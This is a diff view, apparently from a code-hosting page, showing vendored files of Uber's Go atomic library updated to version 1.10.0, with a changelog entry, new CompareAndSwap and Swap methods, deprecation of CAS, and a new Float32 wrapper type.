  • ■ ■ ■ ■ ■ ■
    vendor/go.uber.org/atomic/CHANGELOG.md
    skipped 3 lines
    4 4  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
    5 5  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
    6 6   
     7 +## [1.10.0] - 2022-08-11
     8 +### Added
     9 +- Add `atomic.Float32` type for atomic operations on `float32`.
     10 +- Add `CompareAndSwap` and `Swap` methods to `atomic.String`, `atomic.Error`,
     11 + and `atomic.Value`.
     12 +- Add generic `atomic.Pointer[T]` type for atomic operations on pointers of any
     13 + type. This is present only for Go 1.18 or higher, and is a drop-in for
     14 + replacement for the standard library's `sync/atomic.Pointer` type.
     15 + 
     16 +### Changed
     17 +- Deprecate `CAS` methods on all types in favor of corresponding
     18 + `CompareAndSwap` methods.
     19 + 
     20 +Thanks to @eNV25 and @icpd for their contributions to this release.
     21 + 
     22 +[1.10.0]: https://github.com/uber-go/atomic/compare/v1.9.0...v1.10.0
     23 + 
    7 24  ## [1.9.0] - 2021-07-15
    8 25  ### Added
    9 26  - Add `Float64.Swap` to match int atomic operations.
    skipped 92 lines
  • ■ ■ ■ ■ ■
    vendor/go.uber.org/atomic/bool.go
    1 1  // @generated Code generated by gen-atomicwrapper.
    2 2   
    3  -// Copyright (c) 2020-2021 Uber Technologies, Inc.
     3 +// Copyright (c) 2020-2022 Uber Technologies, Inc.
    4 4  //
    5 5  // Permission is hereby granted, free of charge, to any person obtaining a copy
    6 6  // of this software and associated documentation files (the "Software"), to deal
    skipped 48 lines
    55 55  }
    56 56   
    57 57  // CAS is an atomic compare-and-swap for bool values.
     58 +//
     59 +// Deprecated: Use CompareAndSwap.
    58 60  func (x *Bool) CAS(old, new bool) (swapped bool) {
    59  - return x.v.CAS(boolToInt(old), boolToInt(new))
     61 + return x.CompareAndSwap(old, new)
     62 +}
     63 + 
     64 +// CompareAndSwap is an atomic compare-and-swap for bool values.
     65 +func (x *Bool) CompareAndSwap(old, new bool) (swapped bool) {
     66 + return x.v.CompareAndSwap(boolToInt(old), boolToInt(new))
    60 67  }
    61 68   
    62 69  // Swap atomically stores the given bool and returns the old
    skipped 20 lines
  • ■ ■ ■ ■ ■
    vendor/go.uber.org/atomic/duration.go
    1 1  // @generated Code generated by gen-atomicwrapper.
    2 2   
    3  -// Copyright (c) 2020-2021 Uber Technologies, Inc.
     3 +// Copyright (c) 2020-2022 Uber Technologies, Inc.
    4 4  //
    5 5  // Permission is hereby granted, free of charge, to any person obtaining a copy
    6 6  // of this software and associated documentation files (the "Software"), to deal
    skipped 49 lines
    56 56  }
    57 57   
    58 58  // CAS is an atomic compare-and-swap for time.Duration values.
     59 +//
     60 +// Deprecated: Use CompareAndSwap.
    59 61  func (x *Duration) CAS(old, new time.Duration) (swapped bool) {
    60  - return x.v.CAS(int64(old), int64(new))
     62 + return x.CompareAndSwap(old, new)
     63 +}
     64 + 
     65 +// CompareAndSwap is an atomic compare-and-swap for time.Duration values.
     66 +func (x *Duration) CompareAndSwap(old, new time.Duration) (swapped bool) {
     67 + return x.v.CompareAndSwap(int64(old), int64(new))
    61 68  }
    62 69   
    63 70  // Swap atomically stores the given time.Duration and returns the old
    skipped 20 lines
  • ■ ■ ■ ■ ■ ■
    vendor/go.uber.org/atomic/error.go
    1 1  // @generated Code generated by gen-atomicwrapper.
    2 2   
    3  -// Copyright (c) 2020-2021 Uber Technologies, Inc.
     3 +// Copyright (c) 2020-2022 Uber Technologies, Inc.
    4 4  //
    5 5  // Permission is hereby granted, free of charge, to any person obtaining a copy
    6 6  // of this software and associated documentation files (the "Software"), to deal
    skipped 43 lines
    50 50   x.v.Store(packError(val))
    51 51  }
    52 52   
     53 +// CompareAndSwap is an atomic compare-and-swap for error values.
     54 +func (x *Error) CompareAndSwap(old, new error) (swapped bool) {
     55 + return x.v.CompareAndSwap(packError(old), packError(new))
     56 +}
     57 + 
     58 +// Swap atomically stores the given error and returns the old
     59 +// value.
     60 +func (x *Error) Swap(val error) (old error) {
     61 + return unpackError(x.v.Swap(packError(val)))
     62 +}
     63 + 
  • ■ ■ ■ ■ ■ ■
    vendor/go.uber.org/atomic/error_ext.go
    1  -// Copyright (c) 2020 Uber Technologies, Inc.
     1 +// Copyright (c) 2020-2022 Uber Technologies, Inc.
    2 2  //
    3 3  // Permission is hereby granted, free of charge, to any person obtaining a copy
    4 4  // of this software and associated documentation files (the "Software"), to deal
    skipped 18 lines
    23 23  // atomic.Value panics on nil inputs, or if the underlying type changes.
    24 24  // Stabilize by always storing a custom struct that we control.
    25 25   
    26  -//go:generate bin/gen-atomicwrapper -name=Error -type=error -wrapped=Value -pack=packError -unpack=unpackError -file=error.go
     26 +//go:generate bin/gen-atomicwrapper -name=Error -type=error -wrapped=Value -pack=packError -unpack=unpackError -compareandswap -swap -file=error.go
    27 27   
    28 28  type packedError struct{ Value error }
    29 29   
    skipped 11 lines
  • ■ ■ ■ ■ ■ ■
    vendor/go.uber.org/atomic/float32.go
     1 +// @generated Code generated by gen-atomicwrapper.
     2 + 
     3 +// Copyright (c) 2020-2022 Uber Technologies, Inc.
     4 +//
     5 +// Permission is hereby granted, free of charge, to any person obtaining a copy
     6 +// of this software and associated documentation files (the "Software"), to deal
     7 +// in the Software without restriction, including without limitation the rights
     8 +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
     9 +// copies of the Software, and to permit persons to whom the Software is
     10 +// furnished to do so, subject to the following conditions:
     11 +//
     12 +// The above copyright notice and this permission notice shall be included in
     13 +// all copies or substantial portions of the Software.
     14 +//
     15 +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
     16 +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
     17 +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
     18 +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
     19 +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
     20 +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
     21 +// THE SOFTWARE.
     22 + 
     23 +package atomic
     24 + 
     25 +import (
     26 + "encoding/json"
     27 + "math"
     28 +)
     29 + 
     30 +// Float32 is an atomic type-safe wrapper for float32 values.
     31 +type Float32 struct {
     32 + _ nocmp // disallow non-atomic comparison
     33 + 
     34 + v Uint32
     35 +}
     36 + 
     37 +var _zeroFloat32 float32
     38 + 
     39 +// NewFloat32 creates a new Float32.
     40 +func NewFloat32(val float32) *Float32 {
     41 + x := &Float32{}
     42 + if val != _zeroFloat32 {
     43 + x.Store(val)
     44 + }
     45 + return x
     46 +}
     47 + 
     48 +// Load atomically loads the wrapped float32.
     49 +func (x *Float32) Load() float32 {
     50 + return math.Float32frombits(x.v.Load())
     51 +}
     52 + 
     53 +// Store atomically stores the passed float32.
     54 +func (x *Float32) Store(val float32) {
     55 + x.v.Store(math.Float32bits(val))
     56 +}
     57 + 
     58 +// Swap atomically stores the given float32 and returns the old
     59 +// value.
     60 +func (x *Float32) Swap(val float32) (old float32) {
     61 + return math.Float32frombits(x.v.Swap(math.Float32bits(val)))
     62 +}
     63 + 
     64 +// MarshalJSON encodes the wrapped float32 into JSON.
     65 +func (x *Float32) MarshalJSON() ([]byte, error) {
     66 + return json.Marshal(x.Load())
     67 +}
     68 + 
     69 +// UnmarshalJSON decodes a float32 from JSON.
     70 +func (x *Float32) UnmarshalJSON(b []byte) error {
     71 + var v float32
     72 + if err := json.Unmarshal(b, &v); err != nil {
     73 + return err
     74 + }
     75 + x.Store(v)
     76 + return nil
     77 +}
     78 + 
Please wait...
Page is in error, reload to recover